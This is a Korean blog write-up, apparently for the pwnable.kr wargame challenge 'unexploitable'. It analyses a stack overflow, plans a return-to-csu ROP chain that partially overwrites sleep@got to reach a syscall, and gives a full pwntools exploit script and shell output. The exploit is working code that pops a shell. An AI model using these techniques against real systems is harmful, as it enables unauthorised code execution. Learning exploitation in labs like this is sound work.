시작
안녕하세요 :D
오랜만에 들고 온 pwnable.kr 문제, unexploitable 입니다!!
무려 500점 짜리지만.. 이게 왜 여기서 나오나 싶을 정도로 간단한 문제였어요.
return to csu 기법을 사랑하기 때문에 ㅎㅎㅎ.. 이 문제 확실하게 잡구 넘어가겠습니다 ㅎㅎ
Write UP
I don’t think this is exploitable bug. do you agree?
(task is patched. unintended easy solutions will not work from now :P)
ssh unexploitable@pwnable.kr -p2222 (pw:guest)
unexploitable@prowl:~$ cat unexploitable.c
#include
void main(){
// no brute forcing
sleep(3);
// exploit me
int buf[4];
read(0, buf, 1295);
}
워.. 간단하네요 ㅋㅋㅋㅋㅋㅋㅋ IDA도 없는 불쌍한 저에게 딱 맞는 문제에요 아주
gdb로 볼 것도 없..진 않죠?? 보호기법이랑 dummy가 있나 없나 체크해봐야 해요.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ pd main
Dump of assembler code for function main:
0x0000000000400544 <+0>: push rbp
0x0000000000400545 <+1>: mov rbp,rsp
0x0000000000400548 <+4>: sub rsp,0x10
0x000000000040054c <+8>: mov edi,0x3
0x0000000000400551 <+13>: mov eax,0x0
0x0000000000400556 <+18>: call 0x400450 <sleep@plt>
0x000000000040055b <+23>: lea rax,[rbp-0x10]
0x000000000040055f <+27>: mov edx,0x50f
0x0000000000400564 <+32>: mov rsi,rax
0x0000000000400567 <+35>: mov edi,0x0
0x000000000040056c <+40>: mov eax,0x0
0x0000000000400571 <+45>: call 0x400430 <read@plt>
0x0000000000400576 <+50>: leave
0x0000000000400577 <+51>: ret
End of assembler dump.
NX만 걸려있는 걸 보니 rop의 냄새가 솔솔 납니다!!
read()
의 두 번째 인자인 RSI
레지스터를 보니 rbp-0x10
, 딱 16 bytes만큼 버퍼가 할당되어 있네요.
따라서 24 bytes로 SFP까지 덮은 후 RET을 조작할 수 있습니다.
unexploitable@prowl:~$ objdump -d ./unexploitable | grep "pop rdi"
unexploitable@prowl:~$
가젯은 깔끔할 정도로 없습니다….
하나도 없을 줄은 몰랐는데ㅠㅠㅠㅠㅠ 이제 우리에게 남은 것은 RAX
를 이용한 syscall과 csu 가젯밖에 없어요
unexploitable@prowl:~$ objdump -M intel -d ./unexploitable
.
.
4005d0: 4c 89 fa mov rdx,r15
4005d3: 4c 89 f6 mov rsi,r14
4005d6: 44 89 ef mov edi,r13d
4005d9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005dd: 48 83 c3 01 add rbx,0x1
4005e1: 48 39 eb cmp rbx,rbp
4005e4: 75 ea jne 4005d0 <__libc_csu_init+0x50>
4005e6: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
4005eb: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
4005f0: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
4005f5: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
4005fa: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
4005ff: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400604: 48 83 c4 38 add rsp,0x38
400608: c3 ret
csu 부분은 쪼끔.. 이상하지만 잘 살아 있습니다.
일단 이 부분을 이용해서 read()
를 호출하고, return 되는 값을 이용해 syscall을 때리면 쉘이 똑 떨어질 것 같아요.
시나리오는 다음과 같습니다.
1.
read(0, .bss, 8)
로/bin/sh\x00
입력2.
read(0, sleep@got, 1)
, 하위 1 byte overwrite로sleep()
을 syscall 가젯으로 바꾸기!!3.
read(0, .data, 59)
로 return 값,RAX
레지스터를execve()
의 syscall number인 59로 설정4.
sleep() == syscall
호출!!!
이 시나리오를 짤 때 두 가지 궁금한 점이 있었어요.
첫 번째는 1 byte overwrite로 syscall 가젯으로 바뀐다는 것..
offset은 일정하기 때문에 하위 1 byte는 바뀌지 않는다고 해요.
때문에 sleep@got의 하위 1 byte를 sleep() 함수 안에 있는 syscall의 하위 1 byte로 덮어준다면
syscall로 작용합니다.
gdb-peda$ pd sleep
Dump of assembler code for function __sleep:
0x00007f20de877230 <+0>: push rbp
0x00007f20de877231 <+1>: push rbx
0x00007f20de877232 <+2>: mov eax,edi
0x00007f20de877234 <+4>: sub rsp,0x18
0x00007f20de877238 <+8>: mov rbx,QWORD PTR [rip+0x2f7c39] # 0x7f20deb6ee78
0x00007f20de87723f <+15>: mov rdi,rsp
0x00007f20de877242 <+18>: mov rsi,rsp
0x00007f20de877245 <+21>: mov QWORD PTR [rsp+0x8],0x0
0x00007f20de87724e <+30>: mov QWORD PTR [rsp],rax
0x00007f20de877252 <+34>: mov ebp,DWORD PTR fs:[rbx]
0x00007f20de877255 <+37>: call 0x7f20de8772e0
0x00007f20de87725a <+42>: test eax,eax
0x00007f20de87725c <+44>: js 0x7f20de877270 <__sleep+64>
0x00007f20de87725e <+46>: mov DWORD PTR fs:[rbx],ebp
0x00007f20de877261 <+49>: add rsp,0x18
0x00007f20de877265 <+53>: xor eax,eax
0x00007f20de877267 <+55>: pop rbx
0x00007f20de877268 <+56>: pop rbp
0x00007f20de877269 <+57>: ret
0x00007f20de87726a <+58>: nop WORD PTR [rax+rax*1+0x0]
0x00007f20de877270 <+64>: mov eax,DWORD PTR [rsp]
0x00007f20de877273 <+67>: add rsp,0x18
0x00007f20de877277 <+71>: pop rbx
0x00007f20de877278 <+72>: pop rbp
0x00007f20de877279 <+73>: ret
End of assembler dump.
gdb-peda$ pd nanosleep
Dump of assembler code for function nanosleep:
0x00007f20de8772e0 <+0>: cmp DWORD PTR [rip+0x2fd459],0x0 # 0x7f20deb74740 <__libc_multiple_threads>
0x00007f20de8772e7 <+7>: jne 0x7f20de8772f9 <nanosleep+25>
0x00007f20de8772e9 <+0>: mov eax,0x23
0x00007f20de8772ee <+5>: syscall
sleep() 함수를 디스어셈블 해봤습니다.
nanosleep을 호출하고 그 안에 syscall이 있네요. 하위 1 byte는 \xee
입니다.
이걸 sleep@got에 덮어줄거에요.
두 번째 궁금증은, csu 가젯으로 rop chain을 만드는데 그냥 call 부분에 syscall을 넣어도 될까? 였습니다.
결론은.. 되네요. 신기합니다 ㅋㅋㅋㅋㅋ..
결국 다음과 같은 익스가 태어났습니다.
#!/usr/bin/python
from pwn import *
#context.log_level = "debug"
p = process("/home/unexploitable/unexploitable")
read_got = 0x601000
sleep_got = 0x601010
data = 0x601018
bss = 0x601028
csu0 = 0x4005e6
csu1 = 0x4005d0
payload = ""
payload += "A" * 24
payload += p64(csu0)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(data)
payload += p64(len("/bin/sh\x00"))
payload += p64(csu1)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(sleep_got)
payload += p64(1)
payload += p64(csu1)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(59)
payload += p64(csu1)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(sleep_got)
payload += p64(data)
payload += p64(0)
payload += p64(0)
payload += p64(csu1)
sleep(5)
p.send(payload)
sleep(1)
p.send("/bin/sh\x00")
sleep(1)
p.send("\xee")
sleep(1)
p.send("A" * 59)
p.interactive()
$ id
uid=1074(unexploitable) gid=1074(unexploitable) egid=1075(unexploitable_pwn) groups=1075(unexploitable_pwn),1074(unexploitable)
$ cat /home/unexploitable/flag
[FLAG]
Exploit!!
마무리
뭔가 sigreturn을 써서 푸는 방법도 있을 것 같은데
싸지방 시간이 벌써..ㅎㅎ..
뜬금없는 500점짜리 문제였지만 syscall로 어찌어찌 풀어냈습니다!!
급하게 써서 글이 정신없네요ㅠㅠㅠ 나중에 수정해야겠습니다.
감사합니다 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] horcruxes (0) | 2019.06.29 |
---|---|
[pwnable.kr] fsb (0) | 2019.06.26 |
pwnable.kr : uaf 풀이 (0) | 2019.04.18 |
pwnable.kr : lotto 풀이 (0) | 2019.04.17 |
pwnable.kr : shellshock 풀이 (0) | 2019.04.16 |